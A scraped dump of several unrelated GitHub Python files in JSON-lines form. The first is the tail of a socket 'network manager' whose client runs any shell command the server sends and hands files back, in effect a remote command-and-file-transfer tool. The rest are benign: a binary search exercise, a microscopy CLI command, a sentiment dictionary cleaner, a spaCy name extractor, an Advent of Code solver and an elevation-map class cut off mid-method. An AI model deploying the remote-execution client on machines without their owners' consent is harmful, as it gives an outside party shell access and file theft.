range(len(self.clients)):\r\n for client in self.clients:\r\n print(f\"{Fore.GREEN}{i}) {client['ip']}{Fore.RESET}\")\r\n try:\r\n print(\"==================\")\r\n index = int(input(\"Choose a client > \"))\r\n\r\n self.chat(index)\r\n\r\n except Exception as e:\r\n if e == ValueError:\r\n print(f\"{Fore.RED}[-] Error: Please enter a valid client index.{Fore.RESET}\")\r\n server_menu()\r\n self.select_option(input(\"Select an Option > \"))\r\n\r\n elif e == IndexError:\r\n print(f\"{Fore.RED}[-] Error: please enter an existing client.{Fore.RESET}\")\r\n server_menu()\r\n self.select_option(input(\"Select an Option > \"))\r\n\r\n else:\r\n print(f\"{Fore.RED}[-] Error: {e}{Fore.RESET}\")\r\n server_menu()\r\n self.select_option(input(\"Select an Option > \"))\r\n\r\n elif option == \"3\":\r\n # Execute commands on a client.\r\n print(\"\\n\\nChoose a client:\\n==================\")\r\n for i in range(len(self.clients)):\r\n for client in self.clients:\r\n print(f\"{Fore.GREEN}{i}) {client['ip']}{Fore.RESET}\")\r\n try:\r\n print(\"==================\")\r\n index = int(input(\"Choose a client > \"))\r\n\r\n if 0 <= index <= 10:\r\n print(f\"{Fore.GREEN}[+] Successfully chose a client, enter exit to exit.{Fore.RESET}\")\r\n self.cmds(index)\r\n\r\n except ValueError:\r\n print(f\"{Fore.RED}[-] Error: Please enter a valid client index.{Fore.RESET}\")\r\n\r\n except Exception as e:\r\n print(f\"{Fore.RED}[-] Error: {e}{Fore.RESET}\")\r\n\r\n elif option == \"4\":\r\n # Download/ upload files with a client\r\n print(\"\\n\\nChoose a client:\\n==================\")\r\n for i in range(len(self.clients)):\r\n for client in self.clients:\r\n print(f\"{Fore.GREEN}{i}) {client['ip']}{Fore.RESET}\")\r\n try:\r\n print(\"==================\")\r\n index = int(input(\"Choose a client > \"))\r\n\r\n self.files(index)\r\n\r\n except Exception as e:\r\n if e == ValueError:\r\n print(f\"{Fore.RED}[-] Error: Please enter a valid client index.{Fore.RESET}\")\r\n server_menu()\r\n self.select_option(input(\"Select an Option > \"))\r\n\r\n elif e == IndexError:\r\n print(f\"{Fore.RED}[-] Error: please enter an existing client.{Fore.RESET}\")\r\n server_menu()\r\n self.select_option(input(\"Select an Option > \"))\r\n\r\n else:\r\n print(f\"{Fore.RED}[-] Error: {e}{Fore.RESET}\")\r\n server_menu()\r\n self.select_option(input(\"Select an Option > \"))\r\n\r\n elif option == \"5\":\r\n # Change audio setting: turn off/ on the new message sound.\r\n audio = input(\"Enter 0 to turn notifications off, 1 to turn it on > \")\r\n\r\n if audio == \"0\":\r\n self.audio = False\r\n print(f\"{Fore.GREEN}[+] Turned notifications off.{Fore.RESET}\")\r\n server_menu()\r\n self.select_option(input(\"Select an option > \"))\r\n\r\n elif audio == \"1\":\r\n self.audio = True\r\n print(f\"{Fore.GREEN}[+] Turned notifications on.{Fore.RESET}\")\r\n server_menu()\r\n self.select_option(input(\"Select an option > \"))\r\n\r\n elif option == \"E\" or option == \"e\" or option == \"6\":\r\n print(\"Quitting...\")\r\n\r\n for i in range(len(self.clients)):\r\n for client in self.clients:\r\n client['socket'].sendall(str({\"exit\": \"exit\"}).encode())\r\n client[\"socket\"].close()\r\n\r\n self.server.close()\r\n time.sleep(1)\r\n\r\n else:\r\n print(f\"{Fore.RED}[-] Error: please choose one of the following options.{Fore.RESET}\")\r\n server_menu()\r\n self.select_option(input(\"Select an option > \"))\r\n\r\n def chat(self, index):\r\n # The function that receives and sends messages with msg type.\r\n try:\r\n client = self.clients[int(index)]['socket']\r\n ip = self.clients[int(index)]['ip']\r\n print(f\"{Fore.GREEN}[+] Connected to a chat with {ip}. Enter EXIt to close the chat.{Fore.RESET}\")\r\n\r\n while True:\r\n message = input(\"You: \")\r\n\r\n if message != \"EXIt\":\r\n message = ({\"msg\": message})\r\n client.sendall(json.dumps(message).encode())\r\n\r\n data = json.loads(client.recv(2048).decode())\r\n\r\n if \"msg\" in data:\r\n if self.audio:\r\n playsound(\"new_message.mp3\")\r\n print(f\"{ip}: {data['msg']}\")\r\n\r\n else:\r\n break\r\n\r\n client.sendall(json.dumps({\"exit\": \"close_chat\"}).encode())\r\n\r\n print(f\"{Fore.RED}[!] Closing the chat...{Fore.RESET}\")\r\n server_menu()\r\n self.select_option(input(\"Select an option > \"))\r\n\r\n except Exception as e:\r\n print(f\"{Fore.RED}[-] Error: {e}{Fore.RESET}\")\r\n server_menu()\r\n self.select_option(input(\"Select an option > \"))\r\n\r\n def cmds(self, index):\r\n # Sends commands and receives the result of them.\r\n try:\r\n client = self.clients[int(index)]['socket']\r\n while True:\r\n cmd = input(\"Enter a command to execute > \")\r\n\r\n if cmd != \"exit\":\r\n client.sendall(json.dumps({\"cmd\": cmd}).encode())\r\n result = json.loads(client.recv(2048).decode())\r\n\r\n if \"cmd\" in result:\r\n print(result[\"cmd\"] + '\\n')\r\n\r\n else:\r\n print(f\"{Fore.RED}{Fore.RESET}\")\r\n break\r\n\r\n server_menu()\r\n self.select_option(input(\"Select an option > \"))\r\n\r\n except Exception as e:\r\n print(f\"{Fore.RED}[-] Error: {e}{Fore.RESET}\")\r\n server_menu()\r\n self.select_option(input(\"Select an option > \"))\r\n\r\n def files(self, index):\r\n # Sends\\ receives files.\r\n client = self.clients[int(index)]['socket']\r\n\r\n while True:\r\n print(f\"{Fore.GREEN}Choose an option or [e] to exit\\n===============================\\n1) Send a file\\n2) \"\r\n f\"Download a file\\n==============================={Fore.RESET}\")\r\n\r\n choice = input(\"Choose an option > \")\r\n if choice == \"1\":\r\n filename = input(\"Enter the path of the file and it's extension (name.txt, name.py, etc) > \")\r\n try:\r\n with open(filename, \"rb\") as fd:\r\n file_data = fd.read(198283722)\r\n\r\n client.sendall(json.dumps({\"file_name\": filename}).encode())\r\n time.sleep(1)\r\n client.sendall(file_data)\r\n data = json.loads(client.recv(2048).decode())\r\n\r\n if \"file\" in data:\r\n name = data[\"file\"]\r\n\r\n if name == filename:\r\n print(f\"{Fore.GREEN}[+] Successfully sent the file.{Fore.RESET}\")\r\n else:\r\n print(f\"{Fore.GREEN}[+] Successfully sent the file. Client changed it's name to {name}\"\r\n f\"{Fore.RESET}\\n\\n\")\r\n\r\n elif \"error\" in data:\r\n e = data[\"error\"]\r\n print(f\"{Fore.RED}[-] Error: {e}.{Fore.RESET}\")\r\n\r\n except Exception as e:\r\n print(f\"{Fore.RED}[-] Error: {e}{Fore.RESET}\")\r\n continue\r\n\r\n elif choice == \"2\":\r\n print(f\"{Fore.LIGHTYELLOW_EX}\\n[!] Warning: In order to download a file from the client you need it's \"\r\n f\"full path and extension. \\nUse the option 'Execute Commands' to find it.{Fore.RESET}\\n\")\r\n file = input(\"Enter the full path of the file > \")\r\n\r\n try:\r\n client.sendall(json.dumps({\"download_file\": file}).encode())\r\n file_data = client.recv(198283722)\r\n file_name = input(\"How do you want to call the file? Enter the extension too (file.txt, names.log, \"\r\n \"etc) > \")\r\n\r\n if path.isfile(file_name):\r\n print(f\"{Fore.RED}[-] Error: A file with the name of the received file already exist.\"\r\n f\"{Fore.RESET}\")\r\n\r\n rename = input(\"Do you want to rename the file? [y]es or [n]o > \")\r\n\r\n if rename == \"y\":\r\n file_name = input(\"Choose a new name for the file > \")\r\n with open(file_name, \"wb\") as fd:\r\n fd.write(file_data)\r\n print(f\"{Fore.GREEN}[+] Successfully downloaded the file.{Fore.RESET}\")\r\n\r\n elif rename == \"n\":\r\n final_rename = input(\"Are you sure? this will overwrite the existing file [y]es \"\r\n \"or [n]o > \")\r\n\r\n if final_rename == \"n\":\r\n file_name = input(\"Choose a new name for the file > \")\r\n with open(file_name, \"wb\") as fd:\r\n fd.write(file_data)\r\n\r\n print(f\"\\n{Fore.GREEN}[+] Successfully downloaded the file.{Fore.RESET}\\n\")\r\n\r\n else:\r\n with open(file_name, \"wb\") as fd:\r\n fd.write(file_data)\r\n\r\n print(f\"\\n{Fore.GREEN}[+] Successfully downloaded the file.{Fore.RESET}\\n\")\r\n\r\n else:\r\n with open(file_name, \"wb\") as fd:\r\n fd.write(file_data)\r\n print(f\"\\n{Fore.GREEN}[+] Successfully downloaded the file.{Fore.RESET}\\n\")\r\n\r\n except Exception as e:\r\n print(f\"{Fore.RED}[-] Error: {e}{Fore.RESET}\")\r\n\r\n elif choice == \"e\":\r\n print(f\"{Fore.RED}[!] Quitting...{Fore.RESET}\")\r\n break\r\n\r\n else:\r\n print(f\"{Fore.RED}[-] Error: please select a valid option.{Fore.RESET}\")\r\n continue\r\n\r\n server_menu()\r\n self.select_option(input(\"Select an option > \"))\r\n\r\n\r\n# Client Class\r\nclass NetworkManagerClient(object):\r\n def main(self, ip, port, audio):\r\n # Sets up the client and receives data all the time. When data is received, it checks the first item in the\r\n # json to get the type of the data that was sent.\r\n try:\r\n self.client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n self.client.connect((ip, int(port)))\r\n self.audio = audio\r\n\r\n print(f\"\\n{Fore.GREEN}[+] Connected to {ip}{Fore.RESET}\\n\")\r\n\r\n while True:\r\n data = self.client.recv(2048).decode()\r\n\r\n if data is not None:\r\n data = json.loads(data)\r\n\r\n # Identifying the data type we are getting so we will know what to do with it.\r\n if \"msg\" in data:\r\n if self.audio:\r\n playsound(\"new_message.mp3\")\r\n\r\n print(f'Server: {data[\"msg\"]}')\r\n\r\n message = input(\"You: \")\r\n message = json.dumps({\"msg\": message})\r\n self.client.sendall(message.encode())\r\n\r\n elif \"cmd\" in data:\r\n if data[\"cmd\"] == \"cd\":\r\n self.client.sendall(json.dumps({\"cmd\": getcwd()}).encode())\r\n\r\n else:\r\n check_for_cd = list(data[\"cmd\"].split(\" \"))\r\n if check_for_cd[0] == \"cd\":\r\n if check_for_cd[1] == \"..\":\r\n chdir('..')\r\n result = getcwd()\r\n\r\n else:\r\n try:\r\n chdir(check_for_cd[1])\r\n result = getcwd()\r\n\r\n except FileNotFoundError:\r\n result = \"The system cannot find the path specified.\"\r\n\r\n self.client.sendall(json.dumps({\"cmd\": result}).encode())\r\n\r\n else:\r\n command = sp.run(data[\"cmd\"], shell=True, text=True, capture_output=True)\r\n\r\n if command.stdout != \"\":\r\n self.client.sendall(json.dumps({\"cmd\": command.stdout}).encode())\r\n\r\n else:\r\n if command.returncode == 1:\r\n self.client.sendall(json.dumps({\"cmd\": command.stderr}).encode())\r\n\r\n else:\r\n self.client.sendall(json.dumps({\"cmd\": data[\"cmd\"]}).encode())\r\n\r\n print(f\"{Fore.GREEN}[+] Got command {data['cmd']}{Fore.RESET}\")\r\n\r\n elif \"file_name\" in data:\r\n try:\r\n file_name = data[\"file_name\"]\r\n file_data = self.client.recv(198283722)\r\n\r\n if path.isfile(file_name):\r\n print(f\"{Fore.RED}[-] Error: A file with the name of the received file already exist.\"\r\n f\"{Fore.RESET}\")\r\n\r\n rename = input(\"Do you want to rename the file? [y]es or [n]o > \")\r\n\r\n if rename == \"y\":\r\n file_name = input(\"Choose a new name for the file > \")\r\n with open(file_name, \"wb\") as fd:\r\n fd.write(file_data)\r\n print(f\"{Fore.GREEN}[+] Successfully downloaded the file.{Fore.RESET}\")\r\n self.client.sendall(json.dumps({\"file\": file_name}).encode())\r\n\r\n elif rename == \"n\":\r\n final_rename = input(\"Are you sure? this will overwrite the existing file [y]es \"\r\n \"or [n]o > \")\r\n\r\n if final_rename == \"n\":\r\n file_name = input(\"Choose a new name for the file > \")\r\n with open(file_name, \"wb\") as fd:\r\n fd.write(file_data)\r\n\r\n print(f\"{Fore.GREEN}[+] Successfully downloaded the file.{Fore.RESET}\")\r\n self.client.sendall(json.dumps({\"file\": file_name}).encode())\r\n\r\n else:\r\n with open(file_name, \"wb\") as fd:\r\n fd.write(file_data)\r\n\r\n print(f\"{Fore.GREEN}[+] Successfully downloaded the file.{Fore.RESET}\")\r\n self.client.sendall(json.dumps({\"file\": file_name}).encode())\r\n\r\n else:\r\n with open(file_name, \"wb\") as fd:\r\n fd.write(file_data)\r\n print(f\"{Fore.GREEN}[+] Successfully downloaded the file.{Fore.RESET}\")\r\n self.client.sendall(json.dumps({\"file\": file_name}).encode())\r\n\r\n except Exception as e:\r\n self.client.sendall(json.dumps({\"error\": e}).encode())\r\n\r\n elif \"download_file\" in data:\r\n file_name = data[\"download_file\"]\r\n print(f\"{Fore.GREEN}[+] Server downloaded the file {file_name}{Fore.RESET}\")\r\n\r\n with open(file_name, \"rb\") as fd:\r\n file_data = fd.read()\r\n self.client.sendall(file_data)\r\n\r\n elif \"exit\" in data:\r\n if data[\"exit\"] == \"exit\":\r\n print(\"[!] Server closed. Quitting...\")\r\n self.client.close()\r\n break\r\n\r\n elif data[\"exit\"] == \"close_chat\":\r\n print(f\"{Fore.RED}[!] Server closed the chat.{Fore.RESET}\")\r\n\r\n else:\r\n continue\r\n\r\n except Exception as e:\r\n if e == ConnectionError or ConnectionResetError or ConnectionAbortedError or ConnectionRefusedError:\r\n print(Fore.RED)\r\n retry = input(\"[-] Error: server seems to be down.\\nDo you want to try reconnecting? [y]es/ [n]o > \")\r\n print(Fore.RESET)\r\n\r\n if retry == \"y\":\r\n self.main(ip, port, audio)\r\n\r\n else:\r\n print(\"Ok. Quitting...\")\r\n self.client.close()\r\n time.sleep(1)\r\n else:\r\n print(f\"{Fore.RED}[-] Error: {e}{Fore.RESET}\")\r\n\r\n\r\n# Other Functions\r\ndef server_menu():\r\n # Server menu.\r\n print(f\"\"\"\r\n{Fore.GREEN}\\nChoose an Action\\n================================\\n1) Get Connected Clients\\n2) Chat with a Client\r\n3) Execute Commands on a Client\\n4) Transfer Files\\n5) Notifications Settings\\n6) Exit\\n================================\r\n{Fore.RESET}\"\"\")\r\n\r\n\r\ndef get_ip():\r\n # Returns the ip of the client\\ server.\r\n for line in popen(\"ipconfig\").readlines():\r\n if \"IPv4 Address\" in line:\r\n ip = line[line.find(\":\") + 2:]\r\n return ip\r\n","repo_name":"ItamarS3/PythonNetworkManager","sub_path":"functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":20937,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"9790380428","text":"# БИНАРНЫЙ АЛГОРИТМ ПОИСКА BINARY SEARCH\n# middle = (left+right)//2 середина промежутка\n#\n# value == mid --> return True\n# value > mid --> left = mid + 1\n# value < mid --> right = mid - 1\n# while left <= right or right <= left\n\ndef binary_search(ls, value):\n count = 0\n left = 0\n right = len(ls) - 1\n\n while left <= right:\n count += 1 #debug\n middle = (left + right) // 2\n if ls[middle] == value:\n print(\"Count = \" + str(count)) #debug\n return True\n elif ls[middle] > value:\n right = middle - 1\n else:\n left = middle + 1\n print(\"Count = \" + str(count)) #debug\n return False\n\n\ndef main():\n ls = [221, 34, 45, 56, 75, 86, 91]\n #Генератор\n ls = [i for i in range(1_000_000_000)]\n\n print(\"Linear search: \")\n print(Task02.find_value(ls, 1_000_000_000)) #debug\n\n print(\"Binary search: \")\n print(binary_search(ls, 1_000_000_000))\n\n\nmain()\n","repo_name":"Sibirava/Lesson10","sub_path":"Binary_search .py","file_name":"Binary_search .py","file_ext":"py","file_size_in_byte":1003,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"73445024534","text":"from typing import Sequence\n\nimport click\nfrom arbol.arbol import aprint, asection\n\nfrom dexp.cli.parsing import (\n channels_option,\n input_dataset_argument,\n multi_devices_option,\n slicing_option,\n)\nfrom dexp.datasets import BaseDataset\nfrom dexp.datasets.operations.register import dataset_register\n\n\n@click.command()\n@input_dataset_argument()\n@slicing_option()\n@channels_option()\n@multi_devices_option()\n@click.option(\"--out-model-path\", \"-o\", default=\"registration_models.txt\", show_default=True)\n@click.option(\n \"--microscope\",\n \"-m\",\n type=click.Choice((\"simview\", \"mvsols\")),\n default=\"simview\",\n help=\"Microscope used to acquire the data, this selects the fusion algorithm.\",\n show_default=True,\n)\n@click.option(\n \"--equalise/--no-equalise\",\n \"-eq/-neq\",\n default=True,\n help=\"Equalise intensity of views before fusion, or not.\",\n show_default=True,\n)\n@click.option(\n \"--zero-level\",\n \"-zl\",\n type=int,\n default=0,\n help=\"‘zero-level’ i.e. the pixel values in the restoration (to be substracted)\",\n show_default=True,\n)\n@click.option(\n \"--clip-high\",\n \"-ch\",\n type=int,\n default=0,\n help=\"Clips voxel values above the given value, if zero no clipping is done\",\n show_default=True,\n)\n@click.option(\n \"--fusion\", \"-f\", type=click.Choice((\"tg\", \"dct\", \"dft\")), default=\"tg\", help=\"Fusion method.\", show_default=True\n)\n@click.option(\n \"--fusion_bias_strength\",\n \"-fbs\",\n type=float,\n default=0.5,\n help=\"Fusion bias strength for illumination\",\n show_default=True,\n)\n@click.option(\n \"--dehaze_size\",\n \"-dhs\",\n type=int,\n default=65,\n help=\"Filter size (scale) for dehazing the final regsitered and fused image to reduce effect of scattered and out-of-focus light. Set to zero to deactivate.\",\n show_default=True,\n)\n@click.option(\n \"--edge-filter\",\n \"-ef\",\n is_flag=True,\n help=\"Use this flag to apply an edge filter to help registration.\",\n show_default=True,\n)\n@click.option(\n \"--max-proj/--no-max-proj\",\n \"-mp/-nmp\",\n type=bool,\n default=True,\n help=\"Registers using only the maximum intensity projection from each stack.\",\n show_default=True,\n)\n@click.option(\n \"--white-top-hat-size\",\n \"-wth\",\n default=0,\n type=float,\n help=\"Area opening value after down sampling for white top hat transform transform. Larger values will keep larger components. Recommended value of 1e5.\",\n)\n@click.option(\n \"--white-top-hat-sampling\", \"-wths\", default=4, type=int, help=\"Down sampling size to compute the area opening\"\n)\n@click.option(\n \"--remove-beads\",\n \"-rb\",\n is_flag=True,\n default=False,\n help=\"Use this flag to remove beads before equalizing and fusing\",\n)\ndef register(\n input_dataset: BaseDataset,\n out_model_path: str,\n channels: Sequence[str],\n microscope: str,\n equalise: bool,\n zero_level: int,\n clip_high: int,\n fusion: str,\n fusion_bias_strength: float,\n dehaze_size: int,\n edge_filter: bool,\n max_proj: bool,\n white_top_hat_size: float,\n white_top_hat_sampling: int,\n remove_beads: bool,\n devices: Sequence[int],\n) -> None:\n \"\"\"\n Computes registration model for fusing.\n \"\"\"\n with asection(\n f\"Computing fusion model of dataset: {input_dataset.path}, saving it at: {out_model_path}, for channels: {channels}\"\n ):\n aprint(f\"Microscope type: {microscope}, fusion type: {fusion}\")\n aprint(f\"Devices used: {devices}\")\n dataset_register(\n dataset=input_dataset,\n model_path=out_model_path,\n channels=channels,\n microscope=microscope,\n equalise=equalise,\n zero_level=zero_level,\n clip_too_high=clip_high,\n fusion=fusion,\n fusion_bias_strength_i=fusion_bias_strength,\n dehaze_size=dehaze_size,\n registration_edge_filter=edge_filter,\n white_top_hat_size=white_top_hat_size,\n white_top_hat_sampling=white_top_hat_sampling,\n remove_beads=remove_beads,\n max_proj=max_proj,\n devices=devices,\n )\n\n input_dataset.close()\n","repo_name":"royerlab/dexp","sub_path":"dexp/cli/dexp_commands/register.py","file_name":"register.py","file_ext":"py","file_size_in_byte":4182,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"67"} +{"seq_id":"36341694557","text":"import json\n\nsentiment_dict = {}\nto_remove = set()\nrepeated = []\nto_remove_duplicates = []\nin_file = 'emolexDictionaryPort.txt'\nf_out = open('emolexDictionaryPort_clean.txt','w')\nf_log = open('log.txt','w')\nwith open(in_file) as f_in:\n\tfor line in f_in:\n\t\tword = line.split()[0].lower()\n\t\tsentiment_type = line.split()[-2]\n\t\tsentiment_value = line.split()[-1]\n\n\t\tif word not in sentiment_dict:\n\t\t\tsentiment_dict[word]={\n\t\t\t\t\t\t\t\t # 'count':0,\n\t\t\t\t\t\t\t\t 'anger':[],\n\t\t\t\t\t\t\t\t 'anticipation':[],\n\t\t\t\t\t\t\t\t 'disgust':[],\n\t\t\t\t\t\t\t\t 'fear':[],\n\t\t\t\t\t\t\t\t 'joy':[],\n\t\t\t\t\t\t\t\t 'negative':[],\n\t\t\t\t\t\t\t\t 'positive':[],\n\t\t\t\t\t\t\t\t 'sadness':[],\n\t\t\t\t\t\t\t\t 'surprise':[],\n\t\t\t\t\t\t\t\t 'trust':[]\n\t\t\t\t\t\t\t\t}\n\n\t\t# sentiment_dict[word]['count']=sentiment_dict[word]['count']+1\n\t\tsentiment_dict[word][sentiment_type].append(sentiment_value)\n\n\nfor word,sentiments in sentiment_dict.items():\n\tfor sentiment_type, values_vector in sentiments.items():\n\t\tif len(list(set(values_vector)))>1:\n\t\t\tto_remove.add(word)\n\t\t\t# del sentiment_dict[word]\nfor word in to_remove:\n\tdel sentiment_dict[word]\n\nfor word,sentiments in sorted(sentiment_dict.items()):\n\tfor sentiment_type, values_vector in sorted(sentiments.items()):\n\t\tf_out.write(word+'\\t'+sentiment_type+'\\t'+values_vector[0]+'\\n')\n\t# del sentiment_dict[word]['count']\n\t# for sentiment_type in sentiment_dict[word]:\n\t# \tf_out.write(word,'\\t',sentiment_type,'\\t',sentiment_dict[word][sentiment_type])\n\nf_out.close()\nwith open('clean_port_dict.json','w') as outjson:\n\tjson.dump(sentiment_dict, outjson)\n\n\t# for line in f_in:\n\t# \tword = line.split()[0]\n\t# \tif word not in to_remove:\n\t# \t\tprint('------')\n\t# \t\tf_out.write(line)\n\t# f_out.close()\n","repo_name":"ligiaiv/analise-sentimentos","sub_path":"Python/clean_sentiment_dict.py","file_name":"clean_sentiment_dict.py","file_ext":"py","file_size_in_byte":1664,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"13224343039","text":"from dotenv import load_dotenv\nfrom os import getenv\nimport requests\nload_dotenv()\n\ndef find_database_categories(data):\n database = getenv(\"NOTION_DATABASE_ID\") if data.from_user.username == \"rcanelav\" else getenv(\"ANTIA_DB\")\n api_key = getenv(\"NOTION_INTEGRATION_TOKEN\") if data.from_user.username == \"rcanelav\" else getenv(\"ANTIA_INTEGRATION_TOKEN\")\n url = f\"https://api.notion.com/v1/databases/{ database }\"\n headers = {\n \"Authorization\": \"Bearer \" + api_key,\n \"Content-Type\": \"application/json\",\n \"Notion-Version\": \"2022-06-28\"\n }\n\n # Retrieve all the categories from the database\n response = requests.get(url, headers=headers)\n\n data = response.json()\n # Create an set of categories to avoid duplicates\n categories = []\n for category in data.get(\"properties\").get(\"Categories\").get(\"multi_select\").get(\"options\"):\n if category not in categories:\n categories.append(category)\n\n return categories\n\n\n","repo_name":"rcanelav/Telegram-manager","sub_path":"src/services/notion/find_database_categories.py","file_name":"find_database_categories.py","file_ext":"py","file_size_in_byte":977,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"41056360789","text":"from aocd import submit, get_data\n\n\ndef main():\n day = 16\n year = 2020\n data = get_data(day=day, year=year)\n\n test_data_a = {\n\"\"\"class: 1-3 or 5-7\nrow: 6-11 or 33-44\nseat: 13-40 or 45-50\n\nyour ticket:\n7,1,14\n\nnearby tickets:\n7,3,47\n40,4,50\n55,2,20\n38,6,12\"\"\": 71,\n }\n test_data_b = {\n# \"\"\"class: 0-1 or 4-19\n# row: 0-5 or 8-19\n# seat: 0-13 or 16-19\n\n# your ticket:\n# 11,12,13\n\n# nearby tickets:\n# 3,9,18\n# 15,1,5\n# 5,14,9\"\"\": -1,\n }\n\n for i, (test, true) in enumerate(test_data_a.items()):\n result = solve_a(test)\n print(f\"result {i}: {result}\\n\")\n assert result == true, f\"{result} != {true}\"\n\n result_a = solve_a(data)\n print(f\"result a: {result_a}\\n\")\n submit(result_a, part=\"a\", day=day, year=year)\n\n for i, (test, true) in enumerate(test_data_b.items()):\n result = solve_b(test)\n print(f\"result {i}: {result}\\n\")\n assert result == true, f\"{result} != {true}\"\n\n result_b = solve_b(data)\n print(f\"result b: {result_b}\\n\")\n submit(result_b, part=\"b\", day=day, year=year)\n\n\ndef inRanges(ranges, value):\n for r in ranges.values():\n for sr in r:\n if sr[0] <= value <= sr[1]:\n return True\n return False\n\n\ndef solve_a(data):\n res = 0\n ranges = {}\n\n blocks = data.split(\"\\n\\n\")\n for line in blocks[0].splitlines():\n name, rest = line.split(\":\")\n srest = rest.split()\n ranges[name] = []\n ranges[name].append([int(x) for x in srest[0].split(\"-\")])\n ranges[name].append([int(x) for x in srest[2].split(\"-\")])\n\n for line in blocks[2].splitlines()[1:]:\n for value in line.split(\",\"):\n if not inRanges(ranges, int(value)):\n res += int(value)\n\n return res\n\n\ndef validRanges(ranges, value):\n valid = set()\n for k, r in ranges.items():\n for sr in r:\n if sr[0] <= value <= sr[1]:\n valid.add(k)\n return valid\n\n\ndef solve_b(data):\n res = 1\n ranges = {}\n\n blocks = data.split(\"\\n\\n\")\n positions = {i: set() for i in range(len(blocks[0].splitlines()))}\n for line in blocks[0].splitlines():\n name, rest = line.split(\":\")\n srest = rest.split()\n ranges[name] = []\n ranges[name].append([int(x) for x in srest[0].split(\"-\")])\n ranges[name].append([int(x) for x in srest[2].split(\"-\")])\n for v in positions.values():\n v.add(name)\n\n for line in blocks[2].splitlines()[1:]:\n sline = [int(x) for x in line.split(\",\")]\n for i, value in enumerate(sline):\n valid = validRanges(ranges, value)\n if len(valid) > 0:\n for name in ranges:\n if name not in valid:\n positions[i].remove(name)\n for _ in range(len(positions)):\n for k, v in positions.items():\n if len(v) == 1:\n for ok, ov in positions.items():\n t = list(v)[0]\n if k != ok and t in ov:\n ov.remove(t)\n ticket = blocks[1].splitlines()[1].split(\",\")\n\n for k, v in positions.items():\n if list(v)[0].startswith(\"departure\"):\n res *= int(ticket[k])\n return res\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"egolus/aoc2020","sub_path":"solve16.py","file_name":"solve16.py","file_ext":"py","file_size_in_byte":3261,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"34400864871","text":"import spacy\nimport os\nimport re\n\nword_file = os.path.join('D:\\CV-Shortlisting-Data-Cleaning\\curriculum_vitae_data-master\\word', '1100.docx')\ndocument = docx.Document(word_file)\n\nspacy_nlp = spacy.load('en_core_web_sm')\ntext = \"youssef ayman bought a Toyota camry 2019 model in Toronto Ezzat ayman in January 2020 at a cost of $38000\"\n\ndef get_name(text):\n doc = spacy_nlp(text)\n for entity in doc.ents:\n if entity.label_ in [\"PERSON\"]:\n return entity\n return None\n \n\n#needs str casting\ndef get_email(text):\n email = None\n match = re.search(r'[\\w\\.-]+@[\\w\\.-]+', text)\n if match is not None:\n email = match.group(0)\n return email\n\n\n\n\n\n\n\n\n\n\n'''\nfor para in document.paragraphs:\n doc = spacy_nlp(para.text.strip())\n for i in doc.ents:\n entry = str(i.lemma_).lower()\n text = text.replace(str(i).lower(), \"\")\n if i.label_ in [\"PERSON\"]:\n print(entry)\n \n \n'''\n\n\n\n\n","repo_name":"VRanaV/Rank_Up-model-service","sub_path":"src/service/Model_py/entity_getter.py","file_name":"entity_getter.py","file_ext":"py","file_size_in_byte":968,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"33406861591","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport json\nimport random\nimport os\nfrom datetime import datetime\nimport networkx as nx\nfrom PIL import Image\nfrom sklearn.neighbors import KDTree\nfrom ArrayUtil import make_blank_condition_array, make_nan_array\nfrom Lattice import Lattice\nfrom LatitudeLongitudeLattice import LatitudeLongitudeLattice\nfrom IcosahedralGeodesicLattice import IcosahedralGeodesicLattice\nimport IcosahedronMath\nimport PlottingUtil as pu\nfrom UnitSpherePoint import UnitSpherePoint\nimport ElevationChangeFunctions as elfs\nimport MapCoordinateMath as mcm\n\n\ndef add_datetime_to_fp(fp):\n split = fp.split(\".\")\n preceding = split[:-1]\n extension = split[-1]\n new_fp = \".\".join(preceding) + \"-\" + datetime.utcnow().strftime(\"%Y%m%d-%H%M%S\") + \".\" + extension\n input(\"check new fp is okay: {}\".format(new_fp))\n return new_fp\n\n\ndef check_is_point_index(p):\n assert type(p) in [int, np.int64], \"p = {} of type {}\".format(p, type(p))\n\n\nclass ElevationGenerationMap:\n def __init__(self, lattice, data_dict=None, default_elevation=0):\n self.lattice = lattice\n self.data_dict = {p_i: {} for p_i in range(len(self.lattice.points))}\n if data_dict is not None:\n self.data_dict.update(data_dict)\n default_condition = lambda x: True\n self.condition_dict = {p_i: default_condition for p_i in range(len(self.lattice.points))}\n self.frozen_points = set()\n\n def new_value_satisfies_condition(self, p, value):\n check_is_point_index(p)\n condition = self.condition_dict.get(p)\n if callable(condition):\n res = condition(value)\n assert type(res) in [bool, np.bool_], \"invalid condition return value at {} for value {}: {} of type {}\".format((x, y), value, res, type(res))\n return res\n else:\n raise ValueError(\"invalid condition type {}\".format(type(condition)))\n\n def fill_position(self, p, key_str, value):\n check_is_point_index(p)\n assert p not in self.frozen_points, \"can't change frozen point {}\".format(p)\n self.data_dict[p][key_str] = value\n\n def fill_point_set(self, point_set, key_str, value):\n for p in point_set:\n check_is_point_index(p)\n if p not in self.frozen_points:\n self.fill_position(p, key_str, value)\n\n def fill_all(self, key_str, value):\n for p in range(len(self.lattice.points)):\n check_is_point_index(p)\n self.fill_position(p, key_str, value)\n\n def add_value_at_position(self, p, key_str, change):\n if key_str not in self.data_dict[p]:\n self.data_dict[p][key_str] = 0\n self.data_dict[p][key_str] += change\n\n def get_value_at_position(self, p, key_str):\n check_is_point_index(p)\n return self.data_dict[p].get(key_str, 0)\n\n def get_value_array(self, key_str, points=None):\n # return all values of this str in order of point index\n if points is None:\n points = list(range(len(self.lattice.points)))\n return np.array([self.get_value_at_position(p, key_str) for p in points])\n\n def freeze_point(self, p):\n check_is_point_index(p)\n self.frozen_points.add(p)\n\n def unfreeze_point(self, p):\n 